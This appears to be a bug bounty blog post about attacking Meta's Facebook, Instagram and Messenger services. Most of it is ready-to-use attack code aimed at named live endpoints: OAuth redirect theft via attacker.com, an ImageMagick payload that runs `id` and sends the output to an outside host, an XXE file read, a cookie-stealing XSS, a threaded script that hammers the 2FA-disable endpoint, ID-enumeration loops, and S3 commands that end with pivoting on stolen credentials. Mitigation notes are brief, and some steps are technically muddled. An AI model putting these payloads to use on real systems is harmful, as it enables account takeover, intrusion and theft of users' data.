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Introduction:
Meta’s bug bounty program has paid out millions, with individual reports reaching $100k+ for critical flaws like account takeover, RCE, and logic-based IDOR. Real writeups from Facebook, Instagram, WhatsApp, and Messenger reveal attack chains that bypass 2FA, escalate privileges, and exploit misconfigured APIs – turning simple bugs into high-impact payouts.
Learning Objectives:
- Understand how real-world attackers chain low-severity bugs (XSS, IDOR) into account takeover or RCE on Meta platforms.
- Learn to test OAuth flows, Graph API endpoints, and file upload parsers using Linux/Windows commands and Burp Suite.
- Apply cloud hardening and API security mitigations to prevent the same logic flaws in your own applications.
You Should Know:
- Account Takeover via OAuth Logic Flaws – Step-by-Step Exploitation
Many high-bounty Facebook reports stem from improper OAuth state validation or redirect_uri tampering. Attackers replace the legitimate redirect with a malicious endpoint, stealing the authorization code.
What this does: Tests OAuth 2.0 flows for missing `redirect_uri` whitelisting or open redirect chains.
Using Linux:
Capture a legitimate OAuth request from Facebook login curl -i "https://www.facebook.com/dialog/oauth?client_id=123&redirect_uri=https://attacker.com&response_type=code" If no whitelist, the code is sent to attacker.com. Then exchange it: curl -X POST https://graph.facebook.com/v12.0/oauth/access_token \ -d "client_id=123&redirect_uri=https://attacker.com&client_secret=SECRET&code=STOLEN_CODE"
Using Windows (PowerShell with Burp Suite):
1. Intercept OAuth request in Burp.
- Change `redirect_uri` to `https://evil.com/log`.
- Forward – if accepted, you have a working account takeover via code leakage.
Mitigation: Implement strict `redirect_uri` allow-lists and use PKCE (Proof Key for Code Exchange) to prevent code interception.
2. Remote Code Execution in Image Upload Handlers
Real Facebook RCEs have exploited ImageMagick (CVE-2016-3714) and deserialization bugs in WhatsApp voice message processing. Testing file upload endpoints for image‑based RCE requires crafted payloads.
What this does: Checks if an image upload endpoint executes system commands via malformed metadata.
Linux command to generate a malicious SVG (XXE leading to file read):
echo '<?xml version="1.0" standalone="no"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>' > payload.svg Upload to any profile picture endpoint – if passwd returns, you have XXE.
For ImageMagick (CVE-2016-3714), create a file `rce.mvg` with:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://attacker.com/exploit.svg"|curl https://attacker.com/rce?cmd=`id` "' pop graphic-context
Upload as profile image – vulnerable versions execute the command.
Step-by-step testing:
- Identify any image upload function (profile pic, group cover, sticker).
- Use Burp Repeater to send the malicious file with
Content-Type: image/jpeg. - Monitor your attack server for outbound requests (e.g.,
nc -lvnp 4444). - If you receive a reverse shell or file read, report as RCE.
-
IDOR in Graph API – Accessing Private Media
Many IDOR bugs on Instagram/Messenger involve incrementing object IDs in API calls. Without proper object-level authorization, you can view any user’s private stories, messages, or payment details.
What this does: Iterates through resource IDs to find unprotected data.
Using curl (Linux):
Fetch a story media from Instagram Graph API
curl -H "Authorization: Bearer VALID_TOKEN" \
"https://graph.facebook.com/v12.0/instagram_story_id_1?fields=media_url"
Increment ID to 2, 3, etc. – if you see other users' stories, it's IDOR
for i in {1..100}; do
curl -s "https://graph.facebook.com/v12.0/story_$i?fields=media_url" | grep "https"
done
Windows PowerShell alternative:
1..100 | ForEach-Object {
$url = "https://graph.facebook.com/v12.0/story_$_`?fields=media_url"
Invoke-WebRequest -Uri $url -Headers @{Authorization="Bearer TOKEN"}
}
Step-by-step guide:
- Capture any Graph API request from mobile app (use Burp or Frida).
- Look for numeric parameters like `user_id=12345` or
media_id=67890. - Use Burp Intruder with a number payload to fuzz for other users’ data.
- If response changes to another user’s private content, you’ve found an IDOR.
-
Bypassing 2FA with Race Conditions (Time-of-Check to Time-of-Use)
Critical Facebook writeups show that race conditions in 2FA enrollment or recovery flows can disable second-factor authentication. This requires sending concurrent requests to the same endpoint.
What this does: Overwrites a security setting by exploiting a non-atomic check-and-update.
Python script to test race condition on 2FA disable:
import threading, requests
url = "https://www.facebook.com/settings/2fa/disable"
cookies = {"session": "YOUR_VALID_SESSION"}
def attack():
for _ in range(100):
requests.post(url, cookies=cookies, data={"confirm": "true"})
threads = []
for i in range(50):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()
If any request succeeds while another checks the same token, 2FA is bypassed.
Linux one‑liner (using GNU parallel):
seq 1 200 | parallel -j 50 'curl -X POST https://www.facebook.com/settings/2fa/disable -b session.cookie -d "confirm=true"'
Step-by-step exploitation:
- Identify a sensitive action (e.g., disable 2FA, change email) that requires a one-time code.
- Send the valid code once, but simultaneously spam the confirm request many times.
- If the server fails to lock the state, one request will execute after the code is verified but before the status is updated – effectively bypassing 2FA.
-
XSS in Messenger Preview Cards – DOM‑Based Payloads
WhatsApp Web and Messenger desktop apps have suffered XSS via preview generation when a link contains JavaScript in `og:title` orog:image. Attackers can steal session tokens or perform actions on behalf of the clicked user.
What this does: Injects script into Open Graph meta tags that execute when the app renders a link preview.
Example malicious payload in an HTML page (hosted on attacker.com):
<meta property="og:title" content="<img src=x onerror=alert(document.cookie)>" /> <meta property="og:image" content="https://attacker.com/xss.svg" />
Share this link on Messenger – the XSS executes in the recipient’s view.
Testing with Burp (Linux):
- Host a simple HTTP server: `python3 -m http.server 80`
2. Create an HTML file with the XSS payload inog:title. - Send the URL (e.g., `http://your-ip/page.html`) via Messenger.
- If an alert pops in the preview window, report as stored XSS.
Mitigation: Sanitize all Open Graph tags to strip `on` attributes and `javascript:` URIs. Use a strict CSP (Content‑Security‑Policy) that disables unsafe-inline.
- Cloud Hardening from High‑Bounty Reports – S3 Bucket Misconfigurations
Some $30k+ Facebook bugs came from public S3 buckets containing API secrets or internal tokens. Attackers used simple AWS CLI commands to list and download sensitive files.
What this does: Identifies publicly writable/readable S3 buckets belonging to the target.
Linux commands using AWS CLI:
List contents of a bucket (if public) aws s3 ls s3://meta-internal-logs/ --no-sign-request Download all files aws s3 sync s3://meta-internal-logs/ ./leaked_data/ --no-sign-request Check bucket permissions aws s3api get-bucket-acl --bucket meta-internal-logs --no-sign-request
Windows (using AWS CLI for PowerShell):
Get-S3Object -BucketName "meta-internal-logs" -Region us-east-1 | Select-Object Key
Step-by-step guide:
1. Search for subdomain patterns like `s3.amazonaws.com`, `bucket-name.s3-website.region`.
- Use `nslookup` or `dig` to find bucket endpoints in JavaScript source files.
3. Attempt `aws s3 ls s3://bucket-name/ –no-sign-request`.
- If successful, download any exposed keys or credentials – then use them to pivot.
What Undercode Say:
- Attack chains win bounties – Single low-impact bugs (e.g., open redirect) become critical when combined with OAuth code leakage or IDOR. Always think in sequences.
- Automation is your edge – Tools like Burp Intruder, custom race‑condition scripts, and AWS CLI enumeration turn manual findings into reliable exploits. The $100k reports always include a proof‑of‑concept script.
Real writeups (accessible via the LinkedIn shortener: `https://lnkd.in/gQ7qVMvT`) prove that Meta’s complexity creates logic flaws that static scanners miss. The most rewarded bugs are not memory corruptions but business‑logic errors – OAuth, Graph API, and file handling. As bug bounty hunters, we must shift from generic vulnerability scanners to deep‑context state‑machine testing. Every endpoint that manipulates user data (profile picture, 2FA, media ID) is a potential chain link. The difference between a $500 and a $50,000 report is a working, weaponized exploit that demonstrates impact – not just a theory.
Prediction:
As Meta expands its AI‑powered moderation and encrypted messaging, new attack surfaces will emerge – prompt injection into content safety models, side‑channel leaks in end‑to‑end encryption, and race conditions in ephemeral message deletion. The next $200k bug will likely bypass Meta’s AI filter by blending malicious payloads into legitimate traffic patterns. Additionally, Graph API version deprecation will introduce misconfigurations where old, unpatched endpoints remain accessible. Hunters who master time‑based race conditions and OAuth state‑machine fuzzing will dominate the 2026–2027 payout charts.
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IT/Security Reporter URL:
Reported By: 0xfrost Facebook – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
